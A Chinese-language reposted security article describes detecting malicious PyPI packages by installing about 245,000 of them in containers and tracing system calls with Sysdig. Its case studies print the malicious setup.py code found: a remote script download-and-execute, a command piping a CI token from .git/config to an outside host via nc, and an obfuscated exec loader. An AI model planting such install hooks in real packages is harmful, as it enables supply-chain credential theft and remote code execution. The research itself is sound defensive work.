前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技术分享 | 如何在PyPI上寻找恶意软件包

技术分享 | 如何在PyPI上寻找恶意软件包

作者头像
FB客服
发布2023-04-26 21:17:12
3390
发布2023-04-26 21:17:12
举报
文章被收录于专栏:FreeBufFreeBuf

写在前面的话

大约一年前,Python软件基金会(Python Software Foundation,RFI)公开了一个信息请求(RFI),讨论的是如何检测上传到PyPI的恶意软件包,这显然是一个影响几乎每个包管理器的实际问题。

事实上,像PyPI这样的包管理器是几乎每个公司都依赖的关键基础设施。这是我感兴趣的一个领域,所以我用我的想法回应我们应该如何去处理这个问题。在这篇文章中,我将详细介绍如何安装和分析PyPI中的每个包,并寻找其中潜在的恶意活动。

如何寻找恶意库

为了在软件包的安装过程中执行任意命令,开发人员通常会将代码添加到代码包里的setup.py文件中,具体可以参考这个【代码库】。

从大的角度来看,我们有两种方法可以找到潜在的恶意依赖组件,即静态分析和动态分析。虽然静态分析非常有趣,但本文主要使用的是动态分析方法。

那么,我们到底要寻找什么呢?

首先我们要知道一点,很多重要的事情都是由内核完成的。一般的程序(例如pip)如果想要让内核来完成某个任务时,一般都是通过使用syscalls,即系统调用完成的。打开文件,建立网络连接,以及执行命令等任务,都是通过系统调用实现的。

这也就意味着,如果我们能在一个Python包的安装过程中监控系统调用的话,那我们就可以去查看任何可疑的事件了。这样做的好处就在于,无论恶意代码经过了多少层混淆处理,我们都可以查看到这些代码实际要做的事情。

现在,我们只要要做的事情就是监控系统调用了,那么我们该如何做呢?

使用Sysdig监控系统调用

实际上,社区已经提供了很多能够帮助我们监控系统调用的工具了。针对我们这个目标,我选择使用的时Sysdig,因为它既能够提供结构化的输出,又能够帮助我们很好地对数据进行过滤。

为了实现这一点,在启动安装包的Docker容器时,我还启动了一个Sysdig进程,该进程只会监视来自该容器的事件。除此之外,我还过滤掉了跟pypi.org或files.pythonhosted.com相关的网络读写操作,因为它们跟我们的目标无关。

现在我们已经有了捕获系统调用的方法,但还有一个不得不解决的问题,即如何获取所有可用PyPI包的完整列表。

获取Python包

幸运的是,PyPI提供了一个名为“Simple API”的API接口,这个接口可以被当作是一个包含了指向每一个软件包链接的大型HTML页面。我们可以爬取这个页面中的信息,并使用pup来对链接进行解析,这样我们就可以拿到大约268000个软件包:

代码语言:javascript
复制
❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               
❯ wc -l pypi_full.txt
  268038 pypi_full.txt

针对我们的实验场景,我们需要的是每一个软件包的最新版本,我们的管道如下:

简而言之,我们将每个包的名称发送到一组EC2实例,它可以从PyPI获取关于包的一些元数据,然后启动sysdig以及一系列容器来通过pip安装包,同时收集系统调用和网络流量。然后,所有的数据都被传送到S3以供后续分析使用。

整个过程如下图所示:

上述操作完成后,我们将在一个S3 Bucket中存储大约1TB的数据,其中包含了大约245000个软件包。我们对元数据和输出进行整理之后,将得到一系列JSON文件:

代码语言:javascript
复制
{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}

然后,我编写了一系列脚本来聚合数据,试图对代码的行为进行分析,让我们深入研究一下结果。

网络请求

软件包在安装过程中需要进行网络连接的原因有很多,它们可能需要下载合法的二进制组件或其他资源,也有可能是在尝试从系统中提取数据或凭证。

我们发现,其中有460包会跟109台单独的主机建立网络连接。正如上面提到的,其中相当一部分是由于软件包共享依赖组件(这些依赖会进行网络连接)的结果。不过,我们可以通过映射依赖关系可以过滤掉这些内容。

命令执行

与网络连接一样,软件包在安装期间运行系统命令也是有正当理由,这里可以是编译本机二进制文件和设置正确的环境等等。纵观我们的示例集,我们发现有60725个包会在安装期间执行命令。就像网络连接一样,我们必须记住,许多连接都是由运行命令的包的下游依赖组件发起的。

有趣的软件包

深入研究结果,大多数网络连接和命令似乎是合法的。但是,我想把一些奇怪的行为作为案例研究,来说明这种分析有多有用。

i-am-malicious

这里,我们发现了一个名叫i-am-malicious的包,它就是一个恶意包。如果大家觉得这个包的名字还不够明显的话,下面的细节也足以证明一切:

代码语言:javascript
复制
{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}

我们看到,它会跟gist.github.com建立连接,执行一个Python文件,然后创建一个名为“/tmp/malicious-was-here”的文件。果不其然,这些全部都是利用setup.py实现的:

代码语言:javascript
复制
from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])

maliciouspackage

另一个恶意包甚至直接把名字都改成了maliciouspackage,下面给出的是相关的输出:

代码语言:javascript
复制
{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}

这个包似乎能够从“.git/config”文件中提取出令牌,并将其上传至laforge.xyz。通过分析其setup.py,我们可以看到下列内容:

代码语言:javascript
复制
...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

还有一个名叫easyIoCtl的包,它声称能够抽象化IO操作,但我们发现它会执行下列命令:

代码语言:javascript
复制
[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]

这很可疑,但不一定具有恶意性。不过这个例子很好地展示了我们用于跟踪系统调用的方法。下面是该项目的setup.py文件:

代码语言:javascript
复制
class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)

为了弄清楚这些代码要做的事情,我们可以用print来代替exec,结果如下:

代码语言:javascript
复制
import os;os.system('touch /tmp/testing123')

这就是它索要执行的命令,即使代码经过了混淆处理,也不会影响我们的分析结果,因为我们是在系统调用级别上进行的监控。

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 写在前面的话
  • 如何寻找恶意库
  • 使用Sysdig监控系统调用
  • 获取Python包
  • 网络请求
  • 命令执行
  • 有趣的软件包
    • i-am-malicious
      • maliciouspackage
        • easyIoCtl
        相关产品与服务
        容器服务
        腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档